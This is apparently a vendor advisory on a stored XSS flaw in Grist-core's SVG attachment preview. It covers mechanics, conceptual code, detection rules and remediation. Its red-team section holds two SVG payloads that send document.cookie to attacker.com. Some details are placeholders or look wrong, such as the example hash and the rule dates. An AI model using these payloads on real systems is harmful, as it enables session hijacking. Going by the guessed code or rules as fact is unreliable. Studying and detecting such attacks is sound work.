CVE-2024-56358

Executive Summary

CVE-2024-56358 is a critical Stored Cross-Site Scripting (XSS) vulnerability in Grist-core, a spreadsheet hosting server. The flaw allows an attacker to craft a malicious document containing an SVG file with embedded JavaScript. When a victim user previews the attachment, the JavaScript executes in the context of their current session, potentially leading to full account compromise. The vulnerability has been patched in version 1.3.2. Users are strongly advised to upgrade immediately. If upgrading is not possible, users should avoid previewing attachments in documents from untrusted sources.

Supply Chain & Package Security

Grist-core is distributed as an npm package (grist-core). The vulnerability affects all versions prior to 1.3.2. Organizations using Grist-core should verify their installed version and update to the latest patched release. The package is also available as a Docker image, which should be updated accordingly.

CVSS Breakdown & Threat Level

• CVSS Score: 8.1 (High)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: Required (UI:R) - Victim must preview the attachment
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H)
• Integrity Impact: High (I:H)
• Availability Impact: High (A:H)

The high CVSS score reflects the ease of exploitation and the severe impact on confidentiality, integrity, and availability. The requirement for user interaction slightly reduces the risk, but the attack is still highly dangerous.

Deep Dive & Mechanics

The vulnerability resides in the attachment preview functionality of Grist-core. When a user uploads a document (e.g., a spreadsheet) containing an attachment, the application allows previewing that attachment. If the attachment is an SVG file, the application does not properly sanitize the SVG content. SVG files can contain embedded JavaScript via <script> tags or event handlers (e.g., onload). When the victim previews the SVG, the browser executes the JavaScript in the context of the Grist-core application's origin.

Attack Flow:

1. Attacker creates a malicious SVG file containing JavaScript payload (e.g., to steal cookies, perform actions on behalf of the user).
2. Attacker uploads the SVG as an attachment within a Grist-core document.
3. Attacker shares the document with the victim (e.g., via a link or collaboration feature).
4. Victim opens the document and clicks to preview the attachment.
5. The SVG is rendered, and the JavaScript executes, compromising the victim's session.

The root cause is the lack of Content Security Policy (CSP) enforcement or proper sanitization of SVG files during preview. The patch in version 1.3.2 likely adds CSP headers or sanitizes SVG content to prevent script execution.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual): The vulnerable code likely renders the SVG directly without sanitization. For example:

// Vulnerable: Directly renders SVG content
function previewAttachment(attachment) {
  const previewDiv = document.getElementById('preview');
  previewDiv.innerHTML = attachment.content; // SVG with embedded JS
}

Patched Code (Conceptual): The patched code sanitizes the SVG or uses a safe rendering method:

// Patched: Sanitizes SVG content before rendering
const DOMPurify = require('dompurify');
function previewAttachment(attachment) {
  const previewDiv = document.getElementById('preview');
  const cleanSVG = DOMPurify.sanitize(attachment.content);
  previewDiv.innerHTML = cleanSVG;
}

Alternatively, the patch may add a Content Security Policy that blocks inline scripts:

// Patched: Adds CSP header
response.setHeader('Content-Security-Policy', "default-src 'self'; script-src 'none';");

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

1. Deploy a vulnerable Grist-core instance (version < 1.3.2) using Docker:

   docker run -d -p 8484:8484 gristlabs/grist-core:1.3.1
   

2. Create a malicious SVG file (malicious.svg):

   <svg xmlns="http://www.w3.org/2000/svg" width="100" height="100">
     <script>
       fetch('https://attacker.com/steal?cookie=' + document.cookie);
     </script>
   </svg>
   

3. Upload the SVG as an attachment to a new document.
4. Share the document link with the victim.
5. When the victim previews the attachment, the script executes, sending their cookies to the attacker's server.

Alternative Payload (Session Hijacking):

<svg xmlns="http://www.w3.org/2000/svg" onload="fetch('https://attacker.com/steal?cookie=' + document.cookie)">
</svg>

Blue Team (Defensive)

Detection:

• Monitor for unusual attachment previews, especially SVG files.
• Use web application firewalls (WAF) to block malicious SVG content.
• Implement Content Security Policy (CSP) headers to restrict script execution.

Hunting:

• Search logs for requests to /preview endpoint with SVG file extensions.
• Look for outbound connections to unknown domains from the Grist-core server.

Mitigation:

• Upgrade to Grist-core 1.3.2 or later.
• If upgrade is not possible, disable attachment preview functionality or restrict it to trusted users only.
• Use a reverse proxy to add CSP headers.

Indicators of Compromise (IOCs)

• File Hashes (Malicious SVG):
  • SHA256: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 (example, replace with actual)
• Network Indicators:
  • Outbound HTTP requests to attacker-controlled domains (e.g., attacker.com)
  • Suspicious Referer headers pointing to Grist-core preview URLs
• Log Entries:
  • GET /preview?attachment=malicious.svg with unusual user-agent or timing
  • POST /api/attachments with SVG files containing <script> tags

Detection Engineering

YARA Rule

rule CVE_2024_56358_SVG_XSS {
  meta:
    description = "Detects malicious SVG files with embedded JavaScript targeting Grist-core"
    author = "Valters IT"
    date = "2024-01-01"
    reference = "CVE-2024-56358"
  strings:
    $svg_tag = "<svg"
    $script_tag = "<script"
    $onload = "onload="
    $onerror = "onerror="
  condition:
    $svg_tag and ($script_tag or $onload or $onerror)
}

Sigma Rule

title: CVE-2024-56358 - Grist-core SVG XSS Attempt
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects attempts to exploit CVE-2024-56358 by uploading SVG files with embedded JavaScript
author: Valters IT
logsource:
  category: webserver
  product: apache
detection:
  selection:
    http.method: 'POST'
    http.url: '/api/attachments'
    http.content_type: 'image/svg+xml'
    http.body|contains: '<script'
  condition: selection
falsepositives:
  - Legitimate SVG files with scripts (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-56358 - Grist-core SVG XSS Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/api/attachments"; http_uri; content:"image/svg+xml"; http_content_type; content:"<script"; http_client_body; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Action: Upgrade Grist-core to version 1.3.2 or later.

   npm update grist-core
   # or for Docker:
   docker pull gristlabs/grist-core:1.3.2
   

2. Workaround: If upgrade is not possible, disable attachment preview functionality or restrict it to trusted users only.
3. Long-term: Implement Content Security Policy (CSP) headers to block inline scripts and restrict resource loading.
4. Monitoring: Continuously monitor for suspicious attachment uploads and previews.
5. User Education: Train users to avoid previewing attachments from untrusted sources.

Valters IT
Securing Digital Frontiers